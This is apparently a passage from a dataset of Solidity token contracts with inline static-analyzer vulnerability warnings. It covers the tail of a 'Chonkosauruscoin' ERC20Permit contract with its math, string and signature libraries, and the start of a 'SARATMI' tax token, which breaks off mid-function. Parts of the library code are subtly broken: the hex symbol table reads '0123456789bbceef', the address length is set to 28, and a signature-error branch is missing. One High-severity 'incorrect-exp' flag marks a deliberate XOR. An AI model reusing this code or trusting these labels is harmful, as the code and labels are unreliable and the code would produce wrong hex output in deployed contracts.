Vulnerability (divide-before-multiply | severity: Medium | ID: a1d5b84): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for a1d5b84: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 806caa6): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 806caa6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 16140d8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 16140d8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 38dab50): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 38dab50: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 43d2079): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 43d2079: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: cca3ca5\n\t\t\t\t// divide-before-multiply | ID: e61c27b\n\t\t\t\t// divide-before-multiply | ID: adf7a1e\n\t\t\t\t// divide-before-multiply | ID: a1d5b84\n\t\t\t\t// divide-before-multiply | ID: 806caa6\n\t\t\t\t// divide-before-multiply | ID: 16140d8\n\t\t\t\t// divide-before-multiply | ID: 38dab50\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 7329d99\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 16140d8\n\t\t\t// incorrect-exp | ID: 43d2079\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: cca3ca5\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 806caa6\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 38dab50\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: e61c27b\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: adf7a1e\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: a1d5b84\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 7329d99\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789bbceef\";\n\n uint8 private constant _ADDRESS_LENGTH = 28;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n\n _throwError(error);\n\n return recovered;\n }\n\n function toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32 message) {\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\")\n\n mstore(0x1c, hash)\n\n message := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory s\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n\",\n Strings.toString(s.length),\n s\n )\n );\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 data) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(ptr, \"\\x19\\x01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n data := keccak256(ptr, 0x42)\n }\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x00\", validator, data));\n }\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant _TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n _TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n override\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _name.toStringWithFallback(_nameFallback),\n _version.toStringWithFallback(_versionFallback),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {\n using Counters for Counters.Counter;\n\n mapping(address => Counters.Counter) private _nonces;\n\n bytes32 private constant _PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n bytes32 private _PERMIT_TYPEHASH_DEPRECATED_SLOT;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b037edf): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for b037edf: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual override {\n\t\t// timestamp | ID: b037edf\n require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n bytes32 structHash = keccak256(\n abi.encode(\n _PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n\n require(signer == owner, \"ERC20Permit: invalid signature\");\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override returns (uint256) {\n return _nonces[owner].current();\n }\n\n function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n function _useNonce(\n address owner\n ) internal virtual returns (uint256 current) {\n Counters.Counter storage nonce = _nonces[owner];\n\n current = nonce.current();\n\n nonce.increment();\n }\n}\n\ncontract Chonkosauruscoin is ERC20, ERC20Permit {\n constructor()\n ERC20(\"Chonkosauruscoin\", \"CHONKOSAURUS\")\n ERC20Permit(\"Chonkosauruscoin\")\n {\n _mint(msg.sender, 320000000000000 * 10 ** decimals());\n }\n}\n",
"file_name": "solidity_code_10063.sol",
"size_bytes": 34151,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract SARATMI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 71a0d26): SARATMI._deployer should be immutable \n\t// Recommendation for 71a0d26: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 44b8f67): SARATMI._initialBuyTax should be constant \n\t// Recommendation for 44b8f67: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c94867): SARATMI._initialSellTax should be constant \n\t// Recommendation for 1c94867: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8086aa): SARATMI._finalBuyTax should be constant \n\t// Recommendation for d8086aa: Add the 'constant' attribute to state variables that never change.\n uint256 public _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 850686d): SARATMI._finalSellTax should be constant \n\t// Recommendation for 850686d: Add the 'constant' attribute to state variables that never change.\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5b9d57): SARATMI._reduceBuyTaxAt should be constant \n\t// Recommendation for b5b9d57: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 637c9ac): SARATMI._reduceSellTaxAt should be constant \n\t// Recommendation for 637c9ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7224969): SARATMI._preventSwapBefore should be constant \n\t// Recommendation for 7224969: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd9a5b4): SARATMI._transferTax should be constant \n\t// Recommendation for cd9a5b4: Add the 'constant' attribute to state variables that never change.\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sarah Fatmi\";\n\n string private constant _symbol = unicode\"SARATMI\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8c3d25): SARATMI._taxSwapThreshold should be constant \n\t// Recommendation for a8c3d25: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dcecfa): SARATMI._maxTaxSwap should be constant \n\t// Recommendation for 9dcecfa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x20AC4bb225c1E049fb776Cc15933918125D9D67f);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _deployer = _msgSender();\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aadd7d2): SARATMI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aadd7d2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f24f293): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f24f293: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8218389): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8218389: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f24f293\n\t\t// reentrancy-benign | ID: 8218389\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f24f293\n\t\t// reentrancy-benign | ID: 8218389\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ccf5fe7): SARATMI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ccf5fe7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero 